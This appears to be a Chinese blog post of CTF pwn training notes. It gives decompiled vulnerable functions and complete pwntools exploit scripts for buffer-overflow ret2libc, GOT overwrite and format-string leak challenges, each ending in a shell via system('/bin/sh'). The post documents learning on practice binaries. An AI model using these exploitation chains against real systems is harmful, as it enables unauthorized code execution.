pwn暑假訓練(十) emem這次的測驗自己還是太菜

記一下昨天的測驗我直接講我沒過的題目
有system函數沒有’bin/sh’只開了nx但gadget少的可憐題目直接給了libc那就不用想了直接找偏移…我同學給的libc偏移不對…

Gadgets information
============================================================
0x00000000004006d2 : pop rbp ; ret
0x00000000004006d1 : pop rbx ; pop rbp ; ret
0x0000000000400585 : ret
0x0000000000400735 : ret 0xbdb8

Unique gadgets found: 4

這是我查的gadget沒有傳參的寄存器然後最後還是用的我Ubuntu的libc才解決…

ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]

  return read(0, &buf, 0x200uLL);
}

這是漏洞函數
exp:

from pwn import *
p=process('./pwn3')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
print hex(libc.symbols['system'])
pop_rdi=0x021102
data=p.recvuntil('\n',drop=True)

system_addr=int(data,16)

libcbase=system_addr-libc.symbols['system']

bin_sh=libcbase+int(libc.search('/bin/sh').next())
pop_rdi_base=libcbase+pop_rdi
offset=136
payload='a'*offset
payload+=p64(pop_rdi+libcbase)
payload+=p64(bin_sh)
payload+=p64(system_addr)
#payload+=p64(system_addr)
#payload+=p64(0)
#payload+=p64(bin_sh)
#gdb.attach(p,'')
p.recvuntil('Hello, World')
p.sendline(payload)
p.interactive()

pwn4
也是gadget很少幾乎和上一題一樣的沒啥區別
pwn5
這道題的主要代碼

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setbuf(_bss_start, 0LL);
  puts("now you can input your idx");
  v4 = 0;
  __isoc99_scanf("%d", &v4);
  read(0, (void *)(v4 + 6295680LL), 0x30uLL);
  puts("bye bye");
  return 0;
}

發現idx和read的基參數是寫在bss的buf段的當時我想到了填負數但是沒想到還可以got表覆蓋…鬱悶了
exp給上

from pwn import *
p=process('./pwn5')
p.recvuntil('now you can input your idx')
p.sendline('-104')
system_addr=0x0400716
payload=p64(system_addr)
p.sendline(payload)
p.interactive()


最後一個我今天做的bugku的pwn5
也是一道泄露libc的題目但是我有一點問題就是看不出__libc_main_start 在libc中的偏移大佬說使用gdb調出來但我沒有調出來整個思路就是先是格式化字符串泄露一個libc函數確定libc然後算出基址system,‘、/bin/sh’的地址然後用gadget就可以getshell了

nt __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+0h] [rbp-20h]

  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  memset(&s, 0, 0x20uLL);
  puts(&::s);
  read(0, &s, 8uLL);
  printf(&s, &s);#這裏就有格式化字符串漏洞
  puts(&s);
  puts(&s);
  puts(&s);
  puts(&byte_400978);
  sleep(1u);
  puts(asc_400998);
  read(0, &s, 0x40uLL);
  if ( !strstr(&s, &needle) || !strstr(&s, &byte_4009BA) )#這個到內存裏面看字符串就行了
  {
    puts(&byte_4009C8);
    exit(0);
  }
  puts(&byte_4009F8);
  return 0;
}

上exp:

#coding:utf-8
from pwn import *
#from LibcSearcher import LibcSearcher
libc=ELF('./libc6_2.23-0ubuntu10_amd64.so')
p=process('./human')
#p=remote('114.116.54.89',10005)
#payload='%11$p'
pop_rdi=0x0400933
p.recvuntil('\n\n')
p.sendline('%11$p')
libc_start_main_ret = int(p.recvuntil('\n',drop=True)[2:],16)
offset_system=libc.symbols['system']
offset_bin_sh=libc.search('/bin/sh').next()
offset___libc_start_main_ret = libc.symbols['__libc_start_main']
libcbase=libc_start_main_ret - 0x544
system_addr=libcbase+0x45390
bin_sh=libcbase+0x18cd57



payload = 'a鴿子' + 'a'+'真香' + '\x00'
#payload += '真香' + '\x00'
payload=payload.ljust(0x20,'a')
payload+='b'*8
payload+=p64(pop_rdi)
payload+=p64(bin_sh)
payload+=p64(system_addr)
p.recvuntil('?\n')
p.sendline(payload)

p.interactive()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章